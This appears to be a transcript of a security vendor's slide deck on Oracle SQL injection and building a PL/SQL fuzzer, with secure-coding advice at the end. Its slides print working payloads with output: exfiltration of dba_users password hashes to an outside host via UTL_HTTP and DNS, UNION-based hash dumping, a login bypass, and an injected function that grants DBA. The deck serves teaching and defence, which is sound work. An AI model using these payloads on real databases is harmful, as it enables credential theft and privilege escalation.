Download Hack Your DB Before The Hackers Do!

Survey
yes no Was this document useful for you?
   Thank you for your participation!

* Your assessment is very important for improving the workof artificial intelligence, which forms the content of this project

Document related concepts

DBase wikipedia , lookup

Entity–attribute–value model wikipedia , lookup

Btrieve wikipedia , lookup

Database wikipedia , lookup

Oracle Database wikipedia , lookup

Microsoft Access wikipedia , lookup

Tandem Computers wikipedia , lookup

Microsoft Jet Database Engine wikipedia , lookup

Clusterpoint wikipedia , lookup

Database model wikipedia , lookup

Relational model wikipedia , lookup

Null (SQL) wikipedia , lookup

Microsoft SQL Server wikipedia , lookup

Open Database Connectivity wikipedia , lookup

SQL wikipedia , lookup

PL/SQL wikipedia , lookup

Transcript
Hack Your DB Before The Hackers Do!
Todd DeSantis
Lead SE, Sentrigo
What’s This Presentation All About?
 Explore common DB vul.
• SQL injection
 Create your custom fuzzer
• What is a fuzzer anyway?
• PL/SQL – the right tool for the right job
 Bombs away
 Demo: Protecting your database in realtime
SQL Injection
 Wikipedia –
• is a technique that exploits a security
vulnerability occurring in the database layer
of an application. The vulnerability is
present when user input is either incorrectly
filtered for string literal escape characters
embedded in SQL statements or user input is
not strongly typed and thereby unexpectedly
executed.
SQL Injection
 Exists in any layer of any application
• Web Applications
• Stored program units
 Build in
 User created
 Has many forms
• Extra queries, unions, order by…
 Easily avoided
• Bind variables, strong typing
SQL Injection Types
 In band – Use injection to return extra data
• Part of normal result set (unions)
• In error messages
 Out of band – Use alternative route like
UTL_HTTP, DNS to extract data
 Blind / Inference – No data is returned but the
hacker is able to infer the data using return
codes, error codes, timing measurments and
more
SQL Injection In-band
SQL> select utl_inaddr.get_host_name('127.0.0.1') from dual;
localhost
SQL> select utl_inaddr.get_host_name((select
username||'='||password
from dba_users where rownum=1)) from dual;
select utl_inaddr.get_host_name((select
username||'='||password from dba_users where rownum=1))
from dual
*
ERROR at line 1:
ORA-29257: host SYS=8A8F025737A9097A unknown
ORA-06512: at "SYS.UTL_INADDR", line 4
ORA-06512: at "SYS.UTL_INADDR", line 35
ORA-06512: at line 1
SQL Injection Out-of-band
Send information via HTTP to an external site via HTTPURI
select HTTPURITYPE( 'http://www.sentrigo.com/'||
(select password from dba_users where rownum=1) ).getclob() from
dual;
Send information via HTTP to an external site via utl_http
select utl_http.request ('http://www.sentrigo.com/'||
(select password from dba_users where rownum=1)) from dual;
Send information via DNS (max. 64 bytes) to an external site
select utl_http.request ('http://www.'||(select password
from dba_users where rownum=1)||'.sentrigo.com/' )
from dual;
DNS-Request: www.8A8F025737A9097A.sentrigo.com
Blind SQL Injection
Pseudo-Code:
If the first character of the sys-hashkey is a 'A'
then
select count(*) from all_objects,all_objects
else
select count(*) from dual
end if;
SQL Injection – Web Application
 Username = ' or 1=1 -The original statement looked like:
'select * from users where username = ''' + username +
''' and password = ''' + password + ''''
The result =
select * from users where username = '' or 1=1 --' and
password = ''
SQL Injection – Demo Procedure
CREATE OR REPLACE PROCEDURE LIST_TABLES(p_owner VARCHAR2)
IS
TYPE c_type IS REF CURSOR; l_cv c_type; l_buff
VARCHAR2(100);
BEGIN
dbms_output.enable(100000);
OPEN l_cv FOR 'SELECT object_name FROM all_objects WHERE
owner = ''' || p_owner || ''' AND object_type = ''TABLE''';
LOOP
FETCH l_cv INTO l_buff;
dbms_output.put_line(l_buff);
EXIT WHEN l_cv%NOTFOUND;
END LOOP;
CLOSE l_cv;
END;
/
SQL Injection – Inject SQL
SQL> set serveroutput on
SQL> exec list_tables('SCOTT')
DEPT
EMP
BONUS
SALGRADE
SALGRADE
SQL> exec list_tables('KUKU'' UNION SELECT username ||
'':'' || password FROM dba_users--')
BI:FA1D2B85B70213F3
CTXSYS:71E687F036AD56E5
DBSNMP:0B813E8C027CA786
…
SQL Injection – Inject Functions
CREATE OR REPLACE FUNCTION get_dba
RETURN VARCHAR2
AUTHID CURRENT_USER
IS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
RETURN 'Hacked';
END get_dba;
/
SQL Injection – Inject Functions
SQL> exec sys.list_tables('NOUSER'' || scott.get_dba()--')
PL/SQL procedure successfully completed.
SQL> @privs
Roles for current user
USERNAME
GRANTED_ROLE
------------------------------ -----------SCOTT
CONNECT
SCOTT
DBA
SCOTT
RESOURCE
Fuzzing
Fuzz testing or fuzzing is a software
testing technique that provides
random data ("fuzz") to the inputs of
a program. If the program fails (for
example, by crashing, or by failing
built-in code assertions), the defects
can be noted.
The great advantage of fuzz testing is
that the test design is extremely
simple, and free of preconceptions
about system behavior.
Finding Vulnerable Code
 Finding dynamic query code
select * from dba_dependencies where
referenced_name = 'DBMS_SQL'
select * from dba_source where upper(text)
like '%IMMEDIATE%'
 Finding sysdate
select * from dba_source where upper(text)
like '%||%SYSDATE%'
PL/SQL – The Right Tool






Easy to run SQL
Built-in the database
Cross platform
Good enough for the task
DBAs already speak it fluently
Can be easily scheduled as a DB job
Caution – Use With Care
 Fuzzing on production
is a big no-no
 Be sure to receive
permission from the
DB owner
Design
 Track – using tables
• Track fuzzing results
• Rerun, Restart tests after stoping and failing
 Discovery
• Code to find interesting stored program units
 Invoke
• Invocation code to invoke stored procedures with different
edge-case parameters
 Wrap
• Tie it up in a loop and wrap in a package
 Report
• Report findings
Discovery – Find Relevant Objects
Discovery – Find Interesting Ones
Discovery – Find Interesting Ones
Discovery – Placing Data In Tables
 Use dbms_describe for PL/SQL
 Find 'Language Java' in code and then use
dbms_describe on the PL/SQL wrapper
 Save the data for future re-runs
Invoke Fuzzed Code
 Use "execute immediate" to invoke anonymous PL/SQL
blocks created from dbms_describe
 Pass in various interesting input parameters
•
•
•
•
Strings containing ' or "
Long strings
Nulls
Combinations
 On code using concatenation of numbers and dates
directly without formating
• NLS_DATE_FORMAT
• NLS_NUMERIC_CHARACTERS
Invoking Fuzzed Code
 Catch interesting errors
•
•
•
•
•
ORA-00921: unexpected end of SQL command
ORA-00936: missing expression
ORA-00933: SQL command not properly ended
Crashes – for C code
etc.
Example Interface
Example Interface
Example Interface
Bombs Away
 Running as DBA on Oracle supplied code
can be very interesting
 Sentrigo Red Team discovered multiple
vulnerabilities this way
• Reported to Oracle
• Protected by Hedgehog out of the box
Other Fuzzers Out There
 Inguma PL/SQL fuzzer
• Written by Joxean Koret
• Python
• http://inguma.sourceforge.net/
 SPIKE
• Not Oracle specific
• Used to analyze and fuzz network protocols
• http://www.immunityinc.com/resourcesfreesoftware.shtml
Write Secure Code
 The least privilege principle
• Lock down packages
 System access, file access, network access
 Use secure coding techniques
• Bind variables
• input validation
• Clear ownership of security issues
Some Coding Rules
 Avoid hardcoding username/password
 Wrap sensitive/important program code – even if not
really safe
 Use full qualified names for function and procedure
calls (e.g. SYS.DBMS_ASSERT)
 Always validate user/database input
 Be careful with dynamic statements (Cursors, SQLStatements, …)
 Be careful with file access
 Be careful with OS command execution
Protecting Your Database
 Try out the Hedgehog http://www.sentrigo.com
•
•
•
•
•
Virtual patching
SQL Injection protection
Fine grain auditing
Centralized management
More…
Questions?